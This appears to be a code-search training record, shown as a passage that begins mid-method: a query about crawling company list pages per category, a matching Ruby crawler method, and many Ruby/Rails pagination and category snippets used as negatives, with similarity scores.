config['limit'] && config['limit'].to_i > 0 && config['limit'].to_i < total_pages\r\n total_pages = config['limit'].to_i\r\n end\r\n\r\n #### BEFORE STARTING REMOVE THE TEMPLATE PAGE FROM THE SITE LIST!\r\n @page_remove_lambda.call( template )\r\n \r\n # list of all newly created pages\r\n newpages = []\r\n\r\n # Consider the default index page name and extension\r\n indexPageName = config['indexpage'].nil? ? '' : config['indexpage'].split('.')[0]\r\n indexPageExt = config['extension'].nil? ? '' : Utils.ensure_leading_dot(config['extension'])\r\n indexPageWithExt = indexPageName + indexPageExt\r\n\r\n # In case there are no (visible) posts, generate the index file anyway\r\n total_pages = 1 if total_pages.zero?\r\n\r\n # Now for each pagination page create it and configure the ranges for the collection\r\n # This .pager member is a built in thing in Jekyll and defines the paginator implementation\r\n # Simpy override to use mine\r\n (1..total_pages).each do |cur_page_nr|\r\n\r\n # 1. Create the in-memory page\r\n # External Proc call to create the actual page for us (this is passed in when the pagination is run)\r\n newpage = PaginationPage.new( template, cur_page_nr, total_pages, indexPageWithExt )\r\n\r\n # 2. Create the url for the in-memory page (calc permalink etc), construct the title, set all page.data values needed\r\n first_index_page_url = Utils.validate_url(template)\r\n paginated_page_url = File.join(first_index_page_url, config['permalink'])\r\n \r\n # 3. Create the pager logic for this page, pass in the prev and next page numbers, assign pager to in-memory page\r\n newpage.pager = Paginator.new( config['per_page'], first_index_page_url, paginated_page_url, using_posts, cur_page_nr, total_pages, indexPageName, indexPageExt)\r\n\r\n # Create the url for the new page, make sure we prepend any permalinks that are defined in the template page before\r\n pager_path = newpage.pager.page_path\r\n if pager_path.end_with? '/'\r\n newpage.url = File.join(pager_path, indexPageWithExt)\r\n elsif pager_path.end_with? indexPageExt\r\n # Support for direct .html files\r\n newpage.url = pager_path\r\n else\r\n # Support for extensionless permalinks\r\n newpage.url = pager_path + indexPageExt\r\n end\r\n\r\n if( template.data['permalink'] )\r\n newpage.data['permalink'] = pager_path\r\n end\r\n\r\n # Transfer the title across to the new page\r\n tmp_title = template.data['title'] || site_title\r\n if cur_page_nr > 1 && config.has_key?('title')\r\n # If the user specified a title suffix to be added then let's add that to all the pages except the first\r\n newpage.data['title'] = \"#{Utils.format_page_title(config['title'], tmp_title, cur_page_nr, total_pages)}\"\r\n else\r\n newpage.data['title'] = tmp_title\r\n end\r\n\r\n # Signals that this page is automatically generated by the pagination logic\r\n # (we don't do this for the first page as it is there to mask the one we removed)\r\n if cur_page_nr > 1\r\n newpage.data['autogen'] = \"jekyll-paginate-v2\"\r\n end\r\n \r\n # Add the page to the site\r\n @page_add_lambda.call( newpage )\r\n\r\n # Store the page in an internal list for later referencing if we need to generate a pagination number path later on\r\n newpages << newpage\r\n end #each.do total_pages\r\n\r\n # Now generate the pagination number path, e.g. so that the users can have a prev 1 2 3 4 5 next structure on their page\r\n # simplest is to include all of the links to the pages preceeding the current one\r\n # (e.g for page 1 you get the list 2, 3, 4.... and for page 2 you get the list 3,4,5...)\r\n if config['trail'] && newpages.size > 1\r\n trail_before = [config['trail']['before'].to_i, 0].max\r\n trail_after = [config['trail']['after'].to_i, 0].max\r\n trail_length = trail_before + trail_after + 1\r\n\r\n if( trail_before > 0 || trail_after > 0 )\r\n newpages.select do | npage |\r\n idx_start = [ npage.pager.page - trail_before - 1, 0].max # Selecting the beginning of the trail\r\n idx_end = [idx_start + trail_length, newpages.size].min # Selecting the end of the trail\r\n\r\n # Always attempt to maintain the max total of <trail_length> pages in the trail (it will look better if the trail doesn't shrink)\r\n if( idx_end - idx_start < trail_length )\r\n # Attempt to pad the beginning if we have enough pages\r\n idx_start = [idx_start - ( trail_length - (idx_end - idx_start) ), 0].max # Never go beyond the zero index\r\n end \r\n\r\n # Convert the newpages array into a two dimensional array that has [index, page_url] as items\r\n #puts( \"Trail created for page #{npage.pager.page} (idx_start:#{idx_start} idx_end:#{idx_end})\")\r\n npage.pager.page_trail = newpages[idx_start...idx_end].each_with_index.map {|ipage,idx| PageTrail.new(idx_start+idx+1, ipage.pager.page_path, ipage.data['title'])}\r\n #puts( npage.pager.page_trail )\r\n end #newpages.select\r\n end #if trail_before / trail_after\r\n end # if config['trail']\r\n\r\n end", "def list_products_categories\n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - Product categories\"\n \n if(@company.can_view(current_user))\n @products_categories = ProductsCategory.where(company_id: @company.id).paginate(:page => params[:page])\n else\n errPerms()\n end\n end", "def count_products_by_category(count, page, sort_column, sort_direction)\n main_category = self.subcategories\n if main_category.blank?\n main_category = self\n end\n Product.where(category: main_category)\n .order(sort_column + \" \" + sort_direction)\n .paginate(:per_page => count, :page => page)\n end", "def paginate; false; end", "def index\r\n @current_section = params[:category] || ''\r\n\r\n # for the carousel\r\n @most_recent = Post.published.where(category: @current_section).recent.first\r\n\r\n # bulid posts query, for current section\r\n @posts = Post.published.where(category: @current_section).recent\r\n # not including the first one \r\n @posts = @posts.where( \"id != #{@most_recent.id}\" ) if @most_recent # and (@current_section == 'traininggear')\r\n # paginate the posts\r\n @posts = @posts.page(params[:page]).per(9)\r\n \r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @posts }\r\n end\r\n end", "def uncategorized\n @posts = Refinery::Blog::Post.uncategorized.page(params[:page])\n end", "def index\n if params[:category]\n @search = Category.search :name_like => params[:category][:name]\n params.clear\n else\n @search = Category.search(params[:search])\n end\n\n @categories = @search.paginate(:per_page => \"20\", :page => params[:page])\n\n redirect_to admin_category_path(@categories.first, params) and return if (@categories.size.eql?(1))\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @categories }\n end\n end", "def index\n @root_pages = Page.root_pages\n @uncategorized_pages = Page.uncategorized\n end", "def index\n @pagy, @sales = pagy(Sale.all.order(\"created_at DESC\"), items: 80)\n @scategories = Scategory.all\n end", "def show\n if params[:id].to_i < 1\n pl = Permalink.find_by_url(params[:id])\n @category = pl ? pl.linkable : Category.first\n else\n @category = Category.find(params[:id])\n end\n if @category.public || current_user\n # Fetch Postings\n @items = @category.categorizables.descend_by_updated_at.paginate(:page => params[:page], :per_page => POSTINGS_PER_PAGE)\n # Append other 'categorizable' models to @items here...\n else\n flash[:error] = t(:this_category_is_not_public,:name => @category.name)\n redirect_to categories_path\n end\n end", "def index\n authorize WorkCategory\n @filterrific = initialize_filterrific(\n WorkCategory,\n params[:filterrific]\n ) or return\n @selected_per_page = get_session_per_page(WorkCategory.per_page)\n @work_categories = @filterrific.find.page(params[:page]).per_page(@selected_per_page)\n end", "def generate_categories(site, category_base_path, category_layout)\n categories = sorted_categories site\n\n # Generate the pages\n for category in categories\n posts_in_category = site.categories[category]\n category_path = File.join(category_base_path, category)\n\n site.pages << CategoryIndexPage.new(site, category_path, INDEXFILE, category, category_layout, posts_in_category, false)\n end\n\n Jekyll.logger.debug(\"Categories\", \"Processed \" + categories.size.to_s + \" category index pages\")\n end", "def all!(filter = {})\n result = []\n page = 0\n total_pages = 1\n begin\n page += 1\n result += self.all(filter, page, MAX_PER_PAGE) { |meta_data| total_pages = meta_data['total_pages'] }\n end while page < total_pages\n result\n end", "def all_categories\n end", "def index\n @pagy, @brands = pagy(Brand.by_category(params[:id]), items: 5)\n authorize! :read, Brand\n end", "def index\n if(@category)\n @title = 'Item Postings by Category'\n @listTitle = @category.name.titleize\n @postings = @category.postings.paginate(:page => params[:page])\n else\n @title = 'Item Postings'\n @listTitle = 'Recent Items in Edmonton'\n @postings = Posting.paginate(:page => params[:page])\n end\n \n # categories = File.open(File.join(Rails.root, 'public', 'data', 'categories.json'), 'r').read();\n # @categories = ActiveSupport::JSON.decode(categories)\n \n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.ms_html { render :partial=>'posting.html.erb', :locals=>{:posting=>false} }\n format.xml { render :xml => @postings }\n end\n end", "def category\n @articles = Article.with_category(params[:category], params[:search] || \"top_requested\")\n respond_with(:articles, template: \"articles/index\")\n end", "def blog\n @posts = Post.page(params[:page]).order('created_at DESC').where(:industry_category_id => nil)\n end", "def alpha_paginate(all_grade_entry_students, per_page, sort_by)\n total_pages = (all_grade_entry_students.count / per_page.to_f).ceil\n alpha_pagination = []\n\n if total_pages == 0\n return alpha_pagination\n end\n\n alpha_categories = Array.new(2 * total_pages){[]}\n\n i = 0\n (1..(total_pages)).each do |page|\n grade_entry_students1 = all_grade_entry_students.paginate(:per_page => per_page, :page => page)\n\n # To figure out the category names, we need to keep track of the first and last students\n # on a particular page and the first student on the next page. For example, if these\n # names are \"Alwyn, Anderson, and Antheil\", the category for this page would be:\n # \"Al-And\".\n first_student = get_name_to_paginate(grade_entry_students1.first, sort_by)\n last_student = get_name_to_paginate(grade_entry_students1.last, sort_by)\n\n # Update the possible categories\n alpha_categories = self.construct_alpha_category(first_student, last_student,\n alpha_categories, i)\n unless page == total_pages\n grade_entry_students2 = all_grade_entry_students.paginate(:per_page => per_page, :page => page+1)\n next_student = get_name_to_paginate(grade_entry_students2.first, sort_by)\n alpha_categories = self.construct_alpha_category(last_student, next_student,\n alpha_categories, i+1)\n end\n\n i += 2\n end\n\n # We can now form the category names\n j=0\n (1..total_pages).each do |i|\n alpha_pagination << (alpha_categories[j].max + '-' + alpha_categories[j+1].max)\n j += 2\n end\n\n return alpha_pagination\n end", "def index\n @categories = store.categories\n @products = store.products.active.page(params[:page]).per(12)\n end", "def custom_hook_all(items)\n grouped_by_page = items.group_by do |i|\n \"#{i[:category]}-#{i[:subcategory]}\"\n end\n grouped_by_page.each do |_, pages|\n page_record = {\n category: pages[0][:category],\n hierarchy: pages[0][:hierarchy],\n subcategory: pages[0][:subcategory],\n tagname: 'h1',\n text: nil,\n display_title: \"Go to #{pages[0][:subcategory]}\",\n title: pages[0][:category],\n url: pages[0][:url],\n weight_tag_name: 90,\n weight_order: -1\n }\n items << page_record\n end\n items\n end", "def index\n @desserts = Dessert.paginate(:page => params[:page], :per_page => 6)\n redirect_to @desserts_category\n end", "def create_category_pages\n tags.keys.each do |tag|\n items << Nanoc3::Item.new(\n \"= render('category', :tag => '#{tag}')\",\n {\n :title => \"Category: #{tag}\",\n :changefreq => 'daily',\n :priority => 0.4\n },\n \"/categories/#{tag.downcase.parameterize}/\",\n :binary => false\n )\n end\nend", "def paginator; end", "def answer_questions\n if params[:cat] && !params[:cat].blank? \n selected_intrest = Intrest.find(params[:cat])\n @questions = selected_intrest.questions.paginate(:all, :conditions => [\"is_closed = ? AND is_public = ? AND user_id <> ? \", false, false, session[:user_id]], :order => \"questions.created_at DESC\", :page => params[:page], :include => :user)\n else \n @questions = Question.paginate(:all, :conditions => [\"is_closed = ? AND is_public = ? AND user_id <> ? \", false, false, session[:user_id]], :order => \"questions.created_at DESC\", :page => params[:page], :include => :user)\n end \n end", "def render_paginating_links(collection, controller, action = nil)\n if collection.respond_to?(:page_count) && collection.page_count > 1\n action ||= \"search\"\n render :partial => \"shared/paginating_links\",\n :locals => {:url => \"#{controller}\\/#{action}\"}\n end\n end", "def index\n @user = current_user\n @category = params.has_key?(:category) ? params[:category] : \"newest-oldest\"\n @books = Kaminari.paginate_array(Search.new.filter_books_with_category(@user, @category)).page(params[:page]).per(10)\n end", "def show\n @category = BlogCategory.find(params[:id])\n @blog_posts = @category.posts.live.includes(:comments, :categories).paginate({\n :page => params[:page],\n :per_page => blog_posts_per_page\n })\n end" ]
[ "0.7455122", "0.7313033", "0.7235396", "0.70560974", "0.69715595", "0.695745", "0.6879415", "0.6841381", "0.68185544", "0.68185544", "0.68185544", "0.68185544", "0.6810872", "0.67405134", "0.6706144", "0.6688571", "0.6673065", "0.66178083", "0.6616867", "0.6575179", "0.6553594", "0.6543186", "0.6524203", "0.6520882", "0.65077144", "0.6496188", "0.6479453", "0.64605266", "0.64589345", "0.6438563", "0.64198625", "0.6409249", "0.637303", "0.636835", "0.63620937", "0.63604414", "0.6326143", "0.63127124", "0.63127124", "0.63127124", "0.63127124", "0.63124824", "0.6306063", "0.62909836", "0.62880737", "0.62806827", "0.62775415", "0.6273544", "0.6272077", "0.6232044", "0.62245655", "0.6200151", "0.6198798", "0.61757606", "0.6172518", "0.616384", "0.6160674", "0.61553377", "0.61464304", "0.6144633", "0.6144446", "0.614424", "0.61328447", "0.61324966", "0.6129716", "0.6114828", "0.6099377", "0.60862374", "0.60652655", "0.6049105", "0.6045061", "0.6030851", "0.6017413", "0.60038346", "0.59843135", "0.59802836", "0.5977642", "0.59690785", "0.5962056", "0.59431726", "0.59366554", "0.59249175", "0.59143543", "0.5887018", "0.5886984", "0.58858347", "0.58837986", "0.5883086", "0.5882325", "0.5874153", "0.5872693", "0.5871796", "0.58651537", "0.5862693", "0.5858883", "0.5855378", "0.5844022", "0.5843412", "0.58423585", "0.5841774", "0.58318114" ]
0.0
-1
do for company list pages for each category
def all_list_page_urls LIST_PAGE_URLS.each_with_index do |list_page_url, i| begin puts "-- Crawling #{list_page_url} (#{i + 1} of #{LIST_PAGE_URLS.count}) --" yield(list_page_url) rescue => e puts "Failed to crawl list_page_url:#{e.message}"; next end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def list_products_categories\n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - Product categories\"\n \n if(@company.can_view(current_user))\n @products_categories = ProductsCategory.where(company_id: @company.id).paginate(:page => params[:page])\n else\n errPerms()\n end\n end", "def index\n @page_id = 'companyList'\n @banners = Banner.companies.where('start_at <= ? and end_at >= ?', Time.now, Time.now).where(:language => params[:locale] == 'en' ? [0, 1] : [0, 2])\n @company_classifies = CompanyClassify.design\n @companies = params[:company_classify_id].present? ? Company.joins(:company_classify_relations).where('company_classify_relations.company_classify_id = ?', params[:company_classify_id]).design.allow.human_order : Company.design.allow.human_order\n end", "def index\n @companies = Company.where(user_id: current_user.id).order(\"name\")\n @path = 'products_categories'\n @pagetitle = \"Product categories\"\n end", "def index\n @company_categories = CompanyCategory.all\n end", "def create_category_pages\n articles_by_category.each do |category, posts|\n @items << Nanoc::Item.new(\n \"<%= render('category', :category => '#{category}') %>\",\n {\n :title => \"Posts in #{category}\",\n :h1 => \"#{category} posts\",\n :posts => posts\n },\n \"/categories/#{category}\",\n :binary => false\n )\n end\n end", "def get_items_with_all_category page\n category_links = page.search('li a')\n category_links.each{|item|\n link = item[:href]\n text = item.text\n p text\n\n category_page = @agent.get(link)\n get_items_with_each_category(category_page, text)\n }\nend", "def get_items_with_all_category page\n category_links = page.search('li a')\n category_links.each{|item|\n link = item[:href]\n text = item.text\n p text\n\n category_page = @agent.get(link)\n get_items_with_each_category(category_page, text)\n }\nend", "def get_items_with_all_category page\n category_links = page.search('li a')\n category_links.each{|item|\n link = item[:href]\n text = item.text\n p text\n\n category_page = @agent.get(link)\n get_items_with_each_category(category_page, text)\n }\nend", "def get_items_with_all_category page\n category_links = page.search('li a')\n category_links.each{|item|\n link = item[:href]\n text = item.text\n p text\n\n category_page = @agent.get(link)\n get_items_with_each_category(category_page, text)\n }\nend", "def index\n @categories = @current_website.categories.all\n end", "def content_list(category, options)\n end", "def index\n params[:page_title] = 'Listado de datasets de Open Data - Datos Democráticos'\n params[:page_description] = 'Listado de datasets de Open Data. Datos abiertos de instituciones principalmente gubernamentales (Open Gov).'\n\n @sel_category = params[:category]\n\n @page = (params.has_key?(:page) ? params[:page].to_i : 0)\n limit = 10\n\n @data_collections = DataCollection.all\n if not @sel_category.nil?\n @data_collections = @data_collections.joins('INNER JOIN data_collection_categories ON data_collection_categories.data_collection_id = data_collections.id').where('data_collection_categories.category_id = ?', @sel_category)\n end\n count = @data_collections.count\n\n @data_collections = @data_collections.limit(limit).offset(limit * @page)\n\n @total_pages = (count / limit).ceil\n @has_next_page = (limit * (@page + 1) < count)\n\n @categories = Category.all\n end", "def list_categories\n Category.all.each.with_index(1) {|x, i| puts \"#{i}. #{x.name}\"} #Scraper.categories.each.with_index(1) {|category, i| puts \"#{i}. #{category[0]}\"}\n puts \"select the number of the category you would like to browse or type 'exit'\"\n end", "def index\n @all_categories = CateItem.all\n end", "def index\n @casein_page_title = 'Categorias'\n \t\t@categories = Category.order(sort_order(:nombre)).paginate :page => params[:page]\n end", "def getCat \n\t\tputs ''\n\t\tputs 'Fetching categories . . '\n\t\t@page.css('ul.dropdown li a').each do |cat|\n\t\t\tarr=[]\n\t\t\tarr.push cat.text\n\t\t\tarr.push cat['href']\n\t\t\t@arr_cat.push arr\n\t\t\tprint '. '\n\t\tend\n\t\ti=0\n\t\t@arr_cat.each do |pair|\n\t\t\t@db.execute 'insert into category values (?, ? ,?)', i, pair[0], pair[1]\n \t\t\ti +=1\n \t\tend\n\tend", "def category\n @category = NewsCategory.find_by! slug: params[:category_slug]\n @collection = News.of_type(:news).in_category(@category).page_for_visitors(current_page)\n end", "def create_category_pages\n tags.keys.each do |tag|\n items << Nanoc3::Item.new(\n \"= render('category', :tag => '#{tag}')\",\n {\n :title => \"Category: #{tag}\",\n :changefreq => 'daily',\n :priority => 0.4\n },\n \"/categories/#{tag.downcase.parameterize}/\",\n :binary => false\n )\n end\nend", "def get_items_with_each_category page, text\n get_items_in_page(page, text)\nend", "def get_items_with_each_category page, text\n get_items_in_page(page, text)\nend", "def get_items_with_each_category page, text\n get_items_in_page(page, text)\nend", "def get_items_with_each_category page, text\n get_items_in_page(page, text)\nend", "def index\n @cp_categories = Category.all\n @title = \"Categories\"\n end", "def index\n# @search = Category.by_company(current_company.id).search(params[:search])\n @search = Category.search(params[:search])\n @categories = @search.page(params[:page]).per(10)\n respond_to do |format|\n format.html # indexoo.html.erb\n format.xml { render :xml => @categories }\n end\n end", "def each_category(&block)\n visit_category_list\n\n links = []\n\n within \".columnas-fp\" do\n links = all('a')\n end\n\n links.each do |link|\n block.call link.text, link[:href]\n end\n end", "def fetch_categories\r\n page = File.open(\"#{Rails.root}/public/Categories.html\") { |f| Nokogiri::HTML(f) }\r\n Category.save_fetched_categories_and_subcategories(page)\r\n end", "def index\n @lists = List.includes(:user, :category).page(params[:page])\n\n if params[:category_id]\n @category = Category.where('lower(slug) = ?', params[:category_id].downcase).first!\n @lists = @lists.where(category: @category)\n end\n\n # Set default tab\n unless %w(newest excellent).includes? params[:tab]\n params[:tab] = 'newest'\n end\n\n case params[:tab]\n when 'newest'\n @lists = @lists.order(hot: :desc)\n when 'excellent'\n @lists = @lists.order(id: :desc)\n end\n end", "def set_categories\n @categories = {}\n @mechanize.page.search('//*[@id=\"prtcalst\"]//li').each do |cat|\n cat_link = cat.search('a')[0]\n cat_name = cat.search('.//em')[0].inner_text()\n catObj = Category.new()\n catObj.elem = cat_link\n catObj.name = cat_name\n @categories[cat_name] = catObj\n\n puts(\"#{cat_name}\")\n puts(\"-------------------\")\n end\n end", "def index\n if params[:company_id]\n @service_categories = ServiceCategory.where(:company_id => params[:company_id]).order(:order, :name)\n else\n if current_user.role_id == Role.find_by_name('Super Admin').id\n @service_categories = ServiceCategory.where(company_id: Company.where(owned: false).pluck(:id)).order(:order, :name)\n else\n @service_categories = ServiceCategory.where(:company_id => current_user.company_id).order(:order, :name)\n end\n end\n end", "def index\n if params[:company_type]\n @search = @community.companies.where(:company_type => params[:company_type]).search(params[:q])\n else\n @search = @community.companies.search(params[:q])\n end\n @companies = @search.result\n\n @tab_name = \"companies\"\n @page_title = \"Companies\"\n @page_subtitle = \"Loyal Businesses\"\n @page_description = \"\"\n\n add_breadcrumb \"Companies\", companies_path, :title => \"#{@community.name} Companies\"\n end", "def index\n @pagy, @brands = pagy(Brand.by_category(params[:id]), items: 5)\n authorize! :read, Brand\n end", "def index\n @category = params[:category]\n conditions = {:page => params[:page], :order => 'id DESC'}\n case @category\n when nil\n @links = Link.paginate conditions\n when ''\n @links = Link.paginate conditions\n# when '未分类'\n# @links = Link.paginate_by_category '', conditions\n else\n conditions[:conditions] = \"category = '#{@category}'\"\n conditions[:per_page] = 300\n @links = Link.paginate conditions\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @links }\n end\n end", "def custom_hook_all(items)\n grouped_by_page = items.group_by do |i|\n \"#{i[:category]}-#{i[:subcategory]}\"\n end\n grouped_by_page.each do |_, pages|\n page_record = {\n category: pages[0][:category],\n hierarchy: pages[0][:hierarchy],\n subcategory: pages[0][:subcategory],\n tagname: 'h1',\n text: nil,\n display_title: \"Go to #{pages[0][:subcategory]}\",\n title: pages[0][:category],\n url: pages[0][:url],\n weight_tag_name: 90,\n weight_order: -1\n }\n items << page_record\n end\n items\n end", "def find_categories\n page = agent.get(WEBSITE_URL)\n\n page.search(CATEGORIES_SELECTOR).each do |a|\n category_name = a.text.strip\n path = a.attribute('href').value.strip\n\n next if category_name.blank? || path.blank?\n\n data[category_name] = {\n 'url' => URI.join(WEBSITE_URL, path).to_s\n }\n end\n\n Helpers.wait\n end", "def all_categories\n end", "def index\n @contractor_categories = ContractorCategory.all\n end", "def index\n @companies = Company.all.page params[:page]\n end", "def index\n @categories = Category.paginate(:page => params[:page], :per_page => 10)\n end", "def index\n @companies = Company.paginate(page: params[:page]).per_page(10) # pagination (gem 'will_paginate')\n end", "def routine_data\n return if controller_path.match(/\\//)\n @categories = Category.publics\n @page = params[:page]||1\n @limit = params[:limit]||25\n end", "def index\n @cms_blog_categories = CMS::BlogCategory.order(name: :asc)\n end", "def category_links(category)\n links = \"\"\n iterated_cat = category\n if iterated_cat.parent.nil?\n links = insert_category_link(links,iterated_cat)\n else \n i = 0\n while !iterated_cat.parent.nil? and iterated_cat != Sfcatnode.root\n links = insert_category_link(links,iterated_cat)\n iterated_cat = iterated_cat.parent\n i+= 1\n end\n end\n links.insert(0,\"#{link_to('All Solutions', :action => 'index')}\")\n end", "def by_category\n @category = Category.roots.find_by_slug(params[:category])\n raise ListingException, \"missing category\" if @category.blank?\n @subcategory = @category.children.find_by_slug(params[:subcategory]) if params[:subcategory].present?\n terms = [ListingFilter.category(@subcategory.present? ? @subcategory.id : @category.id), ListingFilter.state('active')]\n query = {filter: {bool: {must: terms}}, sort: {id: \"desc\"}}\n @listings = Listing.search(query).page(page).per(per).records\n\n @subcategories = @category.children.with_listings\n\n @title = [@category.name, @subcategory.try(:name)].compact.join(\" : \") + \" | Category\"\n\n respond_to do |format|\n format.html { render(action: :index, layout: !request.xhr?) }\n end\n end", "def index\n @job_categories = JobCategory.page params[:page]\n end", "def category_lister\n Category.all.each_with_index do |cat, idx|\n puts \"#{idx + 1}: #{cat.name}\"\n end\n end", "def index\n @categories = @current_branch.categories.includes(:categories).\n where(category_id: 0).paginate(:page => params[:page], :per_page => 10)\n end", "def generate_categories(site, category_base_path, category_layout)\n categories = sorted_categories site\n\n # Generate the pages\n for category in categories\n posts_in_category = site.categories[category]\n category_path = File.join(category_base_path, category)\n\n site.pages << CategoryIndexPage.new(site, category_path, INDEXFILE, category, category_layout, posts_in_category, false)\n end\n\n Jekyll.logger.debug(\"Categories\", \"Processed \" + categories.size.to_s + \" category index pages\")\n end", "def index\n @ledger_categories = LedgerCategory.all.page(params[:page])\n end", "def index\n @companies = Company.all.order(\"created_at ASC\").paginate(page: params[:page], per_page: 15)\n end", "def index\n @coach_categories = CoachCategory.paginate(page: params[:page], :per_page => 15)\n end", "def index\n @pagy, @sales = pagy(Sale.all.order(\"created_at DESC\"), items: 80)\n @scategories = Scategory.all\n end", "def show\n if params[:id].to_i < 1\n pl = Permalink.find_by_url(params[:id])\n @category = pl ? pl.linkable : Category.first\n else\n @category = Category.find(params[:id])\n end\n if @category.public || current_user\n # Fetch Postings\n @items = @category.categorizables.descend_by_updated_at.paginate(:page => params[:page], :per_page => POSTINGS_PER_PAGE)\n # Append other 'categorizable' models to @items here...\n else\n flash[:error] = t(:this_category_is_not_public,:name => @category.name)\n redirect_to categories_path\n end\n end", "def index\n @categories = Category.paginate(page: params[:page], per_page: 5)\n end", "def index\n @categories = Category.paginate(:page => params[:page], :per_page => 9)\n # @categories = Category.all\n end", "def index\n @companies = Company.find(:all, :conditions => {:user_id => getUserId()}, :order => \"name\")\n @path = 'divisions'\n @pagetitle = \"Divisions\"\n end", "def index\n #if params[:category].blank?\n @datagalleries = Datagallery.paginate(:page => params[:page], :per_page => 10).order(\"created_at DESC\")\n #else\n #@category_id = Category.find_by(name: params[:category]).id\n #@listings = Listing.where(category_id: @category_id).order(\"created_at DESC\")\n #end\n end", "def visit_category_list\n visit '/todofp/formacion/que-y-como-estudiar/oferta-formativa/todos-los-estudios.html'\n end", "def index\n #index page\n @categories = Category.all.paginate(:page => params[:page], :per_page => 5).order('name')\n end", "def index\n Rails.logger.debug(\"collection_id: @collection.id\")\n @categories = @collection.categories.all\n\n # if !@collection\n # @categories = []\n # else\n # @categories = @collection.categories.all\n #\n # #Category.where(shopify_collection_id: session[:shopify_collection_id])\n # end\n\n @collections = Collection.all\n\n\n # Trying Nav\n #@custom_collections = ShopifyAPI::CustomCollection.find(:all, params: { limit: 10 },shopify_collection_id: session[:shopify_collection_id])\n #@smart_collections = ShopifyAPI::SmartCollection.find(:all, params: { limit: 10 }, shopify_collection_id: session[:shopify_collection_id])\n\n end", "def categories\n pages = page.children.all(\n :conditions => { :class_name => 'ShopCategoryPage' },\n :order => 'pages.position ASC'\n ).map(&:shop_category)\n end", "def index\n\t @contentPageHeading = 'My Companies'\n\t @companies = current_user.companies\n\t @user_companies = UserCompany.where(:user_id => current_user.id)\n\t # @public_companies = Array.new\n\t # for user_company in @user_companies\n\t # \t@public_companies.push(user_company,Company.find(user_company.pc_id))\n\t # end\n\t\t# @public_companies = Company.find(:all, :order => 'name', :conditions => 'id IN (SELECT pc_id FROM user_companies WHERE user_id = '+current_user.id.to_s+')')\n end", "def index\n@categories = Category.paginate(page: params[:page], per_page: 5) #list all categories, with pagination\nend", "def scrape_categories_page\n categories = {}\n # On non-root pages, the xpath is:\n # \"//ul[@id='nav-categories']/li/a\"\n @agent.get(clean_url('/')) do |page|\n page.search(\"//h2[text()='Categories']/following-sibling::ul/li/a\").each do |link|\n category_url = link.attributes[\"href\"].value\n categories[link.text.gsub(/[^\\w\\s]+/,'').lstrip] = category_url\n end\n end\n\n categories\n end", "def businesses_category\n options = params.except(:controller, :action)\n tag = options.delete(:tag) if options.has_key? :tag\n\n @businesses = Business.where(category: params[:cat]).order_by(:name.asc)\n @businesses = @businesses.where(:services => /#{tag}/) if tag.present?\n @businesses = @businesses.page(params[:page]).per(30)\n\n # if @businesses.any?\n # @starts_with = params[:starts_with] || @businesses.map(&:name).sort.first.downcase[0]\n # @paginated_businesses = @businesses.order_by(\"name ASC\").select { |b| b.name.downcase.starts_with?(@starts_with) }\n # else\n # @paginated_businesses = []\n # end\n\n @template = BusinessCategoryTemplate.where(category: params[:cat]).first\n\n @random_services = Business.random_services(20, params[:cat])\n\n @page_title = params[:cat]\n\n respond_to do |format|\n format.html{ render layout: 'front' }\n format.js\n end\n end", "def index\n\t@categories = Category.all\n\tend", "def index\n add_breadcrumb \"School Fee\", :fee_categories_path, :options => {:title => \"School Fee\"}\n @fee_categories = FeeCategory.page params[:page]\n end", "def index\n \t @pagenav = Page.find_all_by_published('true')\n \t @categories = Category.order(\"name\")\n @projects = Project.order(\"id\").page(params[:page]).per(10)\n end", "def list\n\t\t@ssccategories = Ssccategory.paginate :page => params[:page], :per_page => 10\t#Pagination for 10 Records\n \trespond_to do |format|\t\t\n \t\t format.html # list.html.erb\n \t\t\tformat.xml { render :xml => @ssccategories }\t#Render to XML File\n \tend\n\tend", "def index\n @listing_categories = ListingCategory.all\n end", "def show\n @category =\n Category.includes(:companies).find(params[:id])\n if @category\n @keyword = String.new\n @keyword << @category.name << \" \"\n @coms = @category.companies.paginate(:page => params[:page],\n :per_page => 15)\n unless @category.leaf?\n @children = @category.children.sort! {|a,b| a.name<=>b.name}\n @children.each do |child|\n @keyword << child.name << \" \"\n end\n end\n if @category.child?\n @category.ancestors.each do |ac|\n ariane.add ac.name, category_path(ac)\n end\n end\n unless @category.companies.blank?\n @json = @category.companies.to_gmaps4rails\n @coms_max = @category.companies.maximum(:updated_at)\n end\n ariane.add @category.name, @category\n else\n flash.now[:error] = \"Category not found.\"\n end\n end", "def category_index\n @name = params[:category]\n \n category = Category.where(name: @name)\n \n #get bookmarks\n if category.empty? || category == nil\n redirect_to :root\n else\n category = category[0]\n @results = []\n\n category.bookmarks.each do |b|\n user_url = \"/\" + b.user.name\n entry = {id: b.id, url: b.url, title: b.title, user: b.user, name: b.user.name, user_url: user_url }\n @results.push(entry) \n end\n end\n \n #check to see if user is a subscriber\n if user_signed_in? && category.subscriber?(current_user)\n @is_subscriber = true\n else\n @is_subscriber = false\n end\n\n #check to see if user is moderator\n if user_signed_in? && category.moderator?(current_user)\n @is_moderator = true\n end\n \n end", "def index\n @companies = Company.order(:name).page(params[:page]).per(10)\n end", "def index\n if current_user.admin?\n @companies = Company.all.order(:name).page(params[:page]).per(10)\n else\n @companies = current_user.company\n end\n end", "def index\n @desserts_categories = DessertsCategory.paginate(:page => params[:page], :per_page => 6)\n end", "def index\n @catalog_categories = CatalogCategory.all\n end", "def index\n @categories = collections_config.values\n end", "def list_divisions\n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - Divisions\"\n \n if(@company.can_view(getUser()))\n @divisions = Division.find(:all, :conditions => {:company_id => @company.id}, :order => \"name\")\n else\n errPerms()\n end\n end", "def parse_category_pages(db_category, group_name_ru)\n products_request_url = 'https://catalog.api.onliner.by/search/' + db_category.name\n response_json = special_request(products_request_url)\n quantity = JSON.parse(response_json)['page']['last'].to_i\n 1.upto(quantity) do |page_number|\n print \"\\r#{group_name_ru}/#{db_category.name} : #{page_number}/#{quantity}\"\n page_url = products_request_url + '?page=' + page_number.to_s\n get_products_from_page(page_url, db_category)\n sleep(2)\n end\n puts\n end", 